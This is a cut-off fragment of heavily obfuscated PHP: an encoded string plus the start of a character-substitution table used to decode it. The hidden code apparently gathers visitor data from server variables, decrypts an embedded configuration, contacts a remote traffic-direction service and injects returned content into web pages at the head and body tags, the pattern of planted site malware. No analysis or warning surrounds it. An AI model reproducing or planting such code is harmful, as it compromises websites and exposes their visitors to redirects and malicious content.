'r7FoA%nn%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2%nr%nQGtw_m4pFH0%cE%nnI4YG5'. '%nn%cP%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQI4Y'. 'G5%nz%AP%nz%nQGtw_m4pFH0%cE%nnI4YG5%nn%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%z'. 'a%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%nz%AP%nzaII72%nr%n8%AE%zP%za'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfH%nf%cP%nz%AP%nz%nQGdHw-%AC_05G_I5eY5wG_HD'. '%nr%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfD%nf%cP%nz%AP%nz%Qz%nQ_'. 'JCjNCj%cE%nfXSSi_XKJS%nf%cP%nz.%nz%Qz%nQ_JCjNCj%cE%nfjCbqCJS_q'. 'jg%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%n'. 'fY%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_qJCj_avC6S%nf%cP%AE%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nf'. '7%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_Ma6vqavC%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nQeY5I2%cE%nfI%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%'. 'nfXSSi_jCRCjCj%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%n'. 'f75%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_C6Z'. 'KPg6v%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nf77%nf%cP%nz%AP%nz%'. 'Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%'. 'cE%nf7m%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_ZXajJCS%nf%cP%AE%zP%za%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfm%nf%cP%nz%AP%nz'. '%Qz%nQ_JCjNCj%cE%nfXSSi_ZK66CZSgK6%nf%cP%AE%zP%za%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfm4%nf%cP%nz%AP%nz'. '%Qzw5IH7sHV5%nr%Qz%nQ_ZKKBgC%n8%AE%zP%za%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfmD%nf%cP%nz%AP%nzw5IH7sHV5%nraII72%nr%nn7%nn'. '%AP%AC%nQI4YG5%nZ%nz%nnYHt%nn%AP%AC%nQGdHw-%ACYHt%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nQeY5I2%nz%AP%nzdGGD_hYHst_eY5I2%nr%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nQYIs%nz%AP%nz%nndGGD%Aa//%nn%nz.%nz%nQHD%nz.%nz%nn%Aa%nn%nz.%nz%nQD4IG%nz.%nz%nQD7Gd%AE%zP%'. 'za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%n'. 'z%nQGdHw-%AC_dGGD_eY5I2%nr%nQYIs%nZ%nz%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'. '%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4'. 'p%nzDI4m5ww_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nQm4pG5pG%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_eY5'. 'I2%nr%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQm4pG5pG%cE%nn4DGH4pw%nn%cP%n8%n8%zP%za%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I'. '57md%nz%nr%nQm4pG5pG%cE%nnm44TH5w%nn%cP%nz7w%nz%nQ'. 'T52%nz%AP%AC%nz%nQk7sY5_7pt_GGs%n8%zP%za%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%Qzw5Gm44TH5%nr%nQT52%nZ%nz%nQk7sY5_7pt_GGs%cEz%cP%nZ%nzGH35%nr%'. 'n8%nz%nE%nz%nQk7sY5_7pt_GGs%cEz%cP%nZ%nz%nn/%nn%nZ%nz%nQ_JC'. 'jNCj%cE%nfXSSi_XKJS%nf%cP%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%z'. 'P%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQm4pG5pG%cE%nn4DGH4pw'. '%nn%cP%cE%nnG2D5%nn%cP%n8%nz%nl%nl%nz%nQm4pG5pG%cE%nn4DGH4pw%nn%cP%cE%'. 'nnG2D5%nn%cP%AP%AP%nnHpu5mG%nn%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQvMKEa'. 'MJ%cE%nfHpu5mG7hs5_uw_m4t5%nf%cP%nz%AP%nzStwZsH5pG%Aa%AahlQt%nr%nQm4pG5pG%cE'. '%nnt7G7%nn%cP%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz4h_wG7IG%nr%nnStwZsH5pG%Aa%AaD4wGI5pt5I_d7pts5I%n'. 'n%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5'. 'sw5%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I57md%nz%nr%nQm4pG5pG%cE%nnd57t5Iw%'. 'nn%cP%nz7w%nz%nQT52%nz%AP%AC%nz%nQk7sY5%n8%zP%za%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%Qzd57t5I%nr%nn%nQT52%Aa%n'. 'z%nQk7sY5%nn%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nzHF%nz%nrwGIs5p%nr%nQm4pG5pG%cE%nnt7G7%nn%cP%n8%nz%ny%AP%nzz%n8%zP%za%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5oHG%nrStwZsH5pG%Aa%AahlQt%nr%nQm4pG5pG%c'. 'E%nnt7G7%nn%cP%n8%n8%AE%nz%nA%nzSKPK%Aa%nzmd5mT%nzHF%nzHGw%nzFHs5%zP%za%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%n'. 'z%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nzGI2_DI4m5ww_md5mT_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%'. 'nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. 'F4I57md%nz%nr7II72_35I05%nr%nQ_ZKKBgC%nZ%nz%nQ_iKJS%n8%nz7w%nz%nQt7G7_T52%nz%AP%AC%nz%nQt7G7%n8%zP%'. 'za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nQt7G7%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_t5mI2DG%nrStwZs'. 'H5pG%Aa%AahlQt%nr%nQt7G7%n8%nZ%nz%nQt7G7_T52%n8%n8%AE%zP'. '%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQt'. '7G7%cE%nf7T%nf%cP%n8%nz%nl%nl%nz%nQGdHw-%ACYHt%AP%AP%n'. 'Qt7G7%cE%nf7T%nf%cP%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%n'. 'r%nQt7G7%cE%nfw7%nf%cP%nz%AP%AP%nz%nfmd5mT%nf%n8%zP%za%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nzSjqC%AE%zP%za%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nzI5GYIp%nzRaMJC%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%z'. 'a%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nzm7p_DI4m5ww_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%n'. 'z%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGtw_m4pFH0%nz%AP%nz%nQGdHw-%AC_05G_m4pF'. 'H0%nr%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5k7s%nr%nnFYpmGH4p%nzHw_7mm5DG7'. 'hs5_Gtw_I5eY5wG%nr%n8%fE%cZp%nn%nz.%nz%nQGtw_m4pFH0%cE%nnGtw_FHsG5I%nn%cP%nz.%nz%nn%cZp%fP'. '%nn%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF'. '%nz%nrFYpmGH4p_5oHwGw%nr%nnHw_7mm5DG7hs5_Gtw_I5eY5wG%nn%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nzHF%nz%nr%nyHw_7mm5DG7hs5_Gtw_I5eY5wG%nr%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nzRaMJC'. '%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nzI5GYIp%nzSjqC%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP'. '%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzwG7GHm%nzDYhsHm%nzFYpmGH4p%nzD4wGI5pt5I_d7pts5I%nr%nQhYFF5I%n8'. '%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz//%nzDI5D7I5%nzD705%nzm4pG5pG%zP%za%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQhYFF5I%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nQuw_m4t5%nz%AP%nz%nQvMKEaMJ%cE%nfHpu5mG7hs5_uw_m4t5%nf%cP%AE%'. 'zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrwGID4w'. '%nrwGIG4s415I%nr%nQm4pG5pG%n8%nZ%nz%nn%AZ/d57t%AC%nn%n8%nz%ny%AP%AP%nzRaMJC%n8%zP%za%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nQm4pG5pG%nz%AP%nzwGI_I5Ds7m5%nr%nn%AZ/d57t%AC%nn%nZ%nz%nQuw_m4t5%nz.%nz%nn%cZ'. 'p%nn%nz.%nz%nn%AZ/d57t%AC%nn%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz5sw5HF%nz%nrwGID4w%nrwGIG4s415I%nr%nQm4pG5pG%n8%nZ%nz%nn%AZ/h4t2%A'. 'C%nn%n8%nz%ny%AP%AP%nzRaMJC%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4'. 'pG5pG%nz%AP%nzwGI_I5Ds7m5%nr%nn%AZ/h4t2%AC%nn%nZ%nz%nQuw_m4t5%nz.%nz%nn%cZ'. 'p%nn%nz.%nz%nn%AZ/h4t2%AC%nn%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQm4pG5pG%AE%zP%za%nz'. '%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%n'. 'z%nzDIHk7G5%nzFYpmGH4p%nz_t5mI2DG_Dd7w5%nr%nQt7G7%nZ%nz%nQT52%n8%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nQ4YG_t7G7%nz%AP%nz%nn%nn%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I%nz%nr%nQH%nz%AP%'. 'nzz%AE%nz%nQH%nz%AZ%nzwGIs5p%nr%nQt7G7%n8%AE%n8%nz%fE%zP%za%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I%nz%nr%'. 'nQu%nz%AP%nzz%AE%nz%nQu%nz%AZ%nzwGIs5p%nr%nQT52%n8%nz%nl%nl%nz%nQH%nz%AZ%nzwGIs5p%nr%nQt7G7%n'. '8%AE%nz%nQu%nE%nE%nZ%nz%nQH%nE%nE%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YG_t7G7%nz.%AP'. '%nzmdI%nr4It%nr%nQt7G7%cE%nQH%cP%n8%nz%cC%nz4It%nr'. '%nQT52%cE%nQu%cP%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQ4YG_t7G7%AE%zP%za%nz%nz%nz%n'. 'z%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_'. 't5mI2DG%nr%nQt7G7%nZ%nz%nQT52%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP'. '%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQGdHw-%AC_t5mI2DG_Dd7w5%nr%nQGdHw-%AC_t5mI2DG_Dd7w'. '5%nr%nQt7G7%nZ%nz%nQT52%n8%nZ%nz%nQGdHw-%ACYHt%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%z'. 'P%za%nz%nz%nz%nz%nz%nz%nz%nzwG7GHm%nzDYhsHm%nzFYpmGH4p%nzhlQt%nr%nQH'. 'pDYG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nzHF%nz%nrwGIs5p%nr%nQHpDYG%n8%nz%AZ%nzQ%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nQT52JGI%nz%AP%nz%nnaEZPCRvXgUBMW6KibjJSqNxOL97hmt5F0dHuT'. 's3p4DeIwGYk1o2VzynAQclfr8%nE/%AP%nn%AE%zP%za%zP%za%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQT52w%nz%AP%nzwGI_wDsHG%nr%nQT52JGI%n8'. '%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQT52w%nz%AP%nz7II72_FsHD%nr%nQT52w%n8%AE%zP%za'. '%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQH%nz%AP%nzz%AE%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nn%nn%A'. 'E%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHpDYG%nz%AP%nzDI50_I5Ds7m5%nr'. '%nn%fC%cE%cCa-97-Vz-8%cZ%nE%cZ/%cZ%AP%cP%fC%nn%nZ%n'. 'z%nn%nn%nZ%nz%nQHpDYG%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. 't4%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmy%nz%A'. 'P%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'Q5pmn%nz%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmA%nz%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmQ%nz'. '%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmdIy%nz%AP%nz%nr%nQ5pmy%nz%AZ%AZ%nzn%n8%nz%'. 'fZ%nz%nr%nQ5pmn%nz%AC%AC%nzQ%n8%AE%zP%za%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmdIn%nz%AP%nz%nr%nr%nQ5pmn%nz%nl%nzyc%n8%nz%AZ%AZ%nzQ%n'. '8%nz%fZ%nz%nr%nQ5pmA%nz%AC%AC%nzn%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nQmdIA%nz%AP%nz%nr%nr%nQ5pmA%nz%nl%nz'. 'A%n8%nz%AZ%AZ%nzl%n8%nz%fZ%nz%nQ5pmQ%AE%zP%za%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIy%n8%AE%zP%za%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nQ5pmA%'. 'nz%ny%AP%nzlQ%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIn%n8%AE%zP%za%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz'. '%nr%nQ5pmQ%nz%ny%AP%nzlQ%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIA%n8%A'. 'E%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%fP%nz1dHs5%nz%nr%nQH%nz%AZ%nzwGIs5p%nr%nQHpDYG%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nzI5GYIp%nz%nQ4YGDYG%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%fP%'. 'zP%za%zP%za%nz%nz%nz%nz%nQYHt%nz%AP%nz%nf7AQ5Fyc5-5zlm-QAA7-hycm'. '-hltch87hFQFf%nf%AE%zP%za%nz%nz%nz%nz%nQm4pFH0%nz%AP%nz%nftvjkU3r0529zMVDwtPm49xNrh'. 'HdDLA6fiS4pUvzl6Vjft2ok6VCVFTRzKXT0WnLIgvyw9Oz292RAhSoTMXs%nEBvWCmAyDBXG1gxL'. '%nEBVUG52yG5ZEygAR5addBPz46RVLtqoRJvCsLOCR7RCWxOvLMWS'. 'RkFSDFb0D46V137HjYBxaItS8XqoyiRz4RbVtWRCbCN0DZjCzLRNmiOb1Sbd4bX31U9H1ziJQ1hV9nM3t2MqqaC'. 'y4Lqa1Eis1XRqWjO1yRjECgROoJ5PEAXTLMxE0qENtHONGmXqwtxdLPMzWGt2DDMXz5xoWRa31iSnCUOJyz6pGQBxbY'. '9A4svs8KqEdnXaCHbjyZv2rVBAyTiZywgZtfCzgBjE9ZPzCIJydMCRbWJ1bCSsCNv'. 'R6Wga636V137uRoiXW6WXDwLVay9HE/LOReUXqw72jy5n4DBv1nhVg8mVQsU243Mvbd6nwo9VEzgXmotOTd6ArHmZ13'. '5AwrUprImJN1h2CHW2UnUAq2WAL3tuzz6pQuFO6eUX427JbT93UGKxro7S0e9ugAMJEoWO6pBAQA'. 'tVNTBxgp93jwKXG1FVwwm3Q8gA0ThbblFA1YKX4z5JwaXybtbaNNEuyCNydiXyQBOjWUqRmOCzT/xpt3vT4djzwu'. '5Sj2MAcwtJDVLqTxNC6E5oy5tCLMZ0gYMp43FJCr6AWnBSTy6HjkhsU'. 'G5Ptyhu6nBSyrZHL8LudyKVdV9u1Jg2s17SGHLXgkmVrihACd7S9%nEmZE0WHEqLAalt3D1gSQu5Rtl7SCI'. '6Odl9ngGvSjrKAQwKO13hPtzJSD8WOgGUXRG6HbPLpz/t3s2UAq3'. 'F0CnBxwcLV9u63m4aSjrhxw192tcinQBiAmfKVg/BAc4KEozg2Uwtu6%nEFS1AOX9AWHE16PauhzolFS6yBZ8TLJ8wF'. 'J0yhAj1tnGVLvrlM3aF6SjYWSG8USDz5Or%nEJOWnmAWlMz80FJEVM3jd9AT0ZPrTWqsuL2a2KATTmXoqLuG2KxN1'. 'gTgIgXwgiP1rtVLQ7vgY9SzIZ2gymu9ugTozKuWDFPTGOAglLNt2MA0d9JWfF1TYFp4z5Jd1CPQYmHyYWA6/tAc%nE6'. 'vbIjvcc6uo25uU4h2QHhHC%nEU2dGtpyymSw/M2E1MOzp5z1eWX0TU31GU28pXJms5Jm1JAjQFvtz9H1DWHcp'. '7JRdUvoVEEa4x1UY6OcltOUV7xWr7Z8mhZgcUPLpmvgnUpanU3QjmyWS'. 'qRy5ZCLKWdmJOCGEERrMjarjibU/hT0g9S4TtA99XXwehPEf6SbsMpGntH'. 'ruWqz5aCbBBTGFBAqdmJaNqAUJjdoR9ZNVBvdHgyd6RqcHKp4sB2d4FnsrtaC/tub27'. 'XD1L2N09VTA9JErMXrfFSczBvEnWu0fWSUe6x11b2wT6xaTLODptJc%nEm2EzMx4AtHyzKZ63tPWV%nf%AE%zP%za%zP%za%nz'. '%nz%nz%nz%nQmsH5pG%nz%AP%nzp51%nzStwZsH5pG%nr%nQm4pFH0%nZ%nz%nQYHt%n8%AE%zP%za%zP%za%'. 'nz%nz%nz%nzHF%nz%nr%nQmsH5pG-%ACGI2_DI4m5ww_md5mT_I5eY5wG%nr%n8%n8%zP%za%nz%nz%'. 'nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz5md4%nz%nn%AZGtw%A'. 'C%nn.iXi_CKM%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz5md4%nz%nQYHt%AE%zP%za%nz%nz%n'. 'z%nz%nz%nz%nz%nz5md4%nz%nn%AZ/Gtw%AC%nn.iXi_CKM%AE%zP%za%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz5sw5%'. 'zP%za%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nQmsH5pG-%ACm7p_DI4m5ww_I5eY5wG%nr%n8%n8%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmsH5pG-%ACDI4m5ww_'. 'I5eY5wG%nr%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz'. '%fP%zP%za%fP'; $cilthzrd = Array('1'=>'w', '0'=>'g', '3'=>'m', '2'=>'y', '5'=>'e', '4'=>'o', '7'=>'a', '6'=>'N', '9'=>'Z', '8'=>'9', 'A'=>'3', 'C'=>'E', 'B'=>'K', 